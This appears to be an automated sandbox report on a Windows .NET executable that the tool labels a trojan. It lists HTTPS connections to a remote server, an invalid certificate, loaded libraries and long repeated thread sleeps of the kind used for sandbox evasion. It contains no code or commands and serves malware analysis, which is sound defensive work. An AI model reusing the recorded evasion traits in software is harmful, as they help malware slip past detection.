      Source: unknownNetwork traffic detected: HTTP traffic on port 49946 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50018 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50077 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50025 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50053 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49752 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49861 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49999 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50088 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49924 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50076 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50001 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50031 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50043 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50037 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50007
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50006
      Source: unknownNetwork traffic detected: HTTP traffic on port 50012 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50009
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50008
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49794
      Source: unknownNetwork traffic detected: HTTP traffic on port 50020 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50001
      Source: unknownNetwork traffic detected: HTTP traffic on port 50054 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50000
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50003
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50005
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50004
      Source: unknownNetwork traffic detected: HTTP traffic on port 50048 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49808 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50006 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50082 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50065 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50075 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50003 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50052 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49936
      Source: unknownNetwork traffic detected: HTTP traffic on port 50081 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50087 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50064 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50035 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50008 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49971 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50014 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50070 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49936 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49794 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49960 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50046 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49808
      Source: unknownNetwork traffic detected: HTTP traffic on port 50029 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49924
      Source: unknownNetwork traffic detected: HTTP traffic on port 50086 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49783 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50063 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50019 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50047 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49982 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50024 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49912
      Source: unknownNetwork traffic detected: HTTP traffic on port 50041 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49761 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50058 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49899 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50030 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49993 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50069 -> 443
      Source: unknownHTTPS traffic detected: 194.15.112.248:443 -> 192.168.2.9:49726 version: TLS 1.2
      Source: unknownHTTPS traffic detected: 194.15.112.248:443 -> 192.168.2.9:50080 version: TLS 1.2
      Source: MWP0FO5rAF.exeStatic PE information: invalid certificate
      Source: MWP0FO5rAF.exe, 00000000.00000000.1334425274.0000000000DB2000.00000002.00000001.01000000.00000003.sdmpBinary or memory string: OriginalFilenameref.exe8 vs MWP0FO5rAF.exe
      Source: MWP0FO5rAF.exe, 00000000.00000002.3796172451.000000000157E000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameclr.dllT vs MWP0FO5rAF.exe
      Source: MWP0FO5rAF.exeBinary or memory string: OriginalFilenameref.exe8 vs MWP0FO5rAF.exe
      Source: MWP0FO5rAF.exeStatic PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
      Source: classification engineClassification label: mal68.troj.winEXE@1/0@1/1
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeMutant created: NULL
      Source: MWP0FO5rAF.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
      Source: MWP0FO5rAF.exeStatic file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
      Source: MWP0FO5rAF.exeReversingLabs: Detection: 65%
      Source: MWP0FO5rAF.exeVirustotal: Detection: 73%
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeSection loaded: mscoree.dllJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeSection loaded: apphelp.dllJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeSection loaded: kernel.appcore.dllJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeSection loaded: version.dllJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeSection loaded: windows.storage.dllJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeSection loaded: wldp.dllJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeSection loaded: profapi.dllJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeSection loaded: cryptsp.dllJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeSection loaded: rsaenh.dllJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeSection loaded: cryptbase.dllJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeSection loaded: rasapi32.dllJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeSection loaded: rasman.dllJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeSection loaded: rtutils.dllJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeSection loaded: mswsock.dllJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeSection loaded: winhttp.dllJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeSection loaded: iphlpapi.dllJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeSection loaded: dhcpcsvc6.dllJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeSection loaded: dhcpcsvc.dllJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeSection loaded: dnsapi.dllJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeSection loaded: winnsi.dllJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeSection loaded: rasadhlp.dllJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeSection loaded: fwpuclnt.dllJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeSection loaded: secur32.dllJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeSection loaded: sspicli.dllJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeSection loaded: schannel.dllJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeSection loaded: mskeyprotect.dllJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeSection loaded: ntasn1.dllJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeSection loaded: ncrypt.dllJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeSection loaded: ncryptsslp.dllJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeSection loaded: msasn1.dllJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeSection loaded: gpapi.dllJump to behavior
      Source: MWP0FO5rAF.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
      Source: MWP0FO5rAF.exeStatic file information: File size 1072096 > 1048576
      Source: MWP0FO5rAF.exeStatic PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeMemory allocated: 14D0000 memory reserve | memory write watchJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeMemory allocated: 32C0000 memory reserve | memory write watchJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeMemory allocated: 3180000 memory reserve | memory write watchJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 922337203685477Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 600000Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 599891Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 599780Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 599672Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 599563Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 599438Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 599313Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 599203Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 599094Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 598969Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 598860Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 598735Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 598610Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 598485Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 598360Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 598235Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 598110Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 597969Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 597860Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 597744Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 597619Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 597512Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 597396Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 597278Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 597157Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 597032Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 596907Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 596782Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 596657Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 596545Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 596438Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 596313Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 596188Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 596063Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 595938Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 595828Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 595719Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 595594Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 595485Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 595360Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 595235Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 595110Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 594968Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 594810Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 594577Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 594459Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 594328Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 594219Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 594109Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 594000Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeWindow / User API: threadDelayed 8107Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeWindow / User API: threadDelayed 1731Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exe TID: 7792Thread sleep count: 34 > 30Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exe TID: 7792Thread sleep time: -31359464925306218s >= -30000sJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exe TID: 7792Thread sleep time: -600000s >= -30000sJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exe TID: 7792Thread sleep time: -599891s >= -30000sJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exe TID: 7796Thread sleep count: 8107 > 30Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exe TID: 7796Thread sleep count: 1731 > 30Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exe TID: 7792Thread sleep time: -599780s >= -30000sJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exe TID: 7792Thread sleep time: -599672s >= -30000sJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exe TID: 7792Thread sleep time: -599563s >= -30000sJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exe TID: 7792Thread sleep time: -599438s >= -30000sJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exe TID: 7792Thread sleep time: -599313s >= -30000sJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exe TID: 7792Thread sleep time: -599203s >= -30000sJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exe TID: 7792Thread sleep time: -599094s >= -30000sJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exe TID: 7792Thread sleep time: -598969s >= -30000sJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exe TID: 7792Thread sleep time: -598860s >= -30000sJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exe TID: 7792Thread sleep time: -598735s >= -30000sJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exe TID: 7792Thread sleep time: -598610s >= -30000sJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exe TID: 7792Thread sleep time: -598485s >= -30000sJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exe TID: 7792Thread sleep time: -598360s >= -30000sJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exe TID: 7792Thread sleep time: -598235s >= -30000sJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exe TID: 7792Thread sleep time: -598110s >= -30000sJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exe TID: 7792Thread sleep time: -597969s >= -30000sJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exe TID: 7792Thread sleep time: -597860s >= -30000sJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exe TID: 7792Thread sleep time: -597744s >= -30000sJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exe TID: 7792Thread sleep time: -597619s >= -30000sJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exe TID: 7792Thread sleep time: -597512s >= -30000sJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exe TID: 7792Thread sleep time: -597396s >= -30000sJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exe TID: 7792Thread sleep time: -597278s >= -30000sJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exe TID: 7792Thread sleep time: -597157s >= -30000sJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exe TID: 7792Thread sleep time: -597032s >= -30000sJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exe TID: 7792Thread sleep time: -596907s >= -30000sJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exe TID: 7792Thread sleep time: -596782s >= -30000sJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exe TID: 7792Thread sleep time: -596657s >= -30000sJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exe TID: 7792Thread sleep time: -596545s >= -30000sJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exe TID: 7792Thread sleep time: -596438s >= -30000sJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exe TID: 7792Thread sleep time: -596313s >= -30000sJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exe TID: 7792Thread sleep time: -596188s >= -30000sJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exe TID: 7792Thread sleep time: -596063s >= -30000sJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exe TID: 7792Thread sleep time: -595938s >= -30000sJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exe TID: 7792Thread sleep time: -595828s >= -30000sJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exe TID: 7792Thread sleep time: -595719s >= -30000sJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exe TID: 7792Thread sleep time: -595594s >= -30000sJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exe TID: 7792Thread sleep time: -595485s >= -30000sJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exe TID: 7792Thread sleep time: -595360s >= -30000sJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exe TID: 7792Thread sleep time: -595235s >= -30000sJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exe TID: 7792Thread sleep time: -595110s >= -30000sJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exe TID: 7792Thread sleep time: -594968s >= -30000sJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exe TID: 7792Thread sleep time: -594810s >= -30000sJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exe TID: 7792Thread sleep time: -594577s >= -30000sJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exe TID: 7792Thread sleep time: -594459s >= -30000sJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exe TID: 7792Thread sleep time: -594328s >= -30000sJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exe TID: 7792Thread sleep time: -594219s >= -30000sJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exe TID: 7792Thread sleep time: -594109s >= -30000sJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exe TID: 7792Thread sleep time: -594000s >= -30000sJump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 922337203685477Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 600000Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 599891Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 599780Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 599672Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 599563Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 599438Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 599313Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 599203Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 599094Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 598969Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 598860Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 598735Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 598610Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 598485Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 598360Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 598235Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 598110Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 597969Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 597860Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 597744Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 597619Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 597512Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 597396Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 597278Jump to behavior
      Source: C:\Users\user\Desktop\MWP0FO5rAF.exeThread delayed: delay time: 597157Jump to behavior
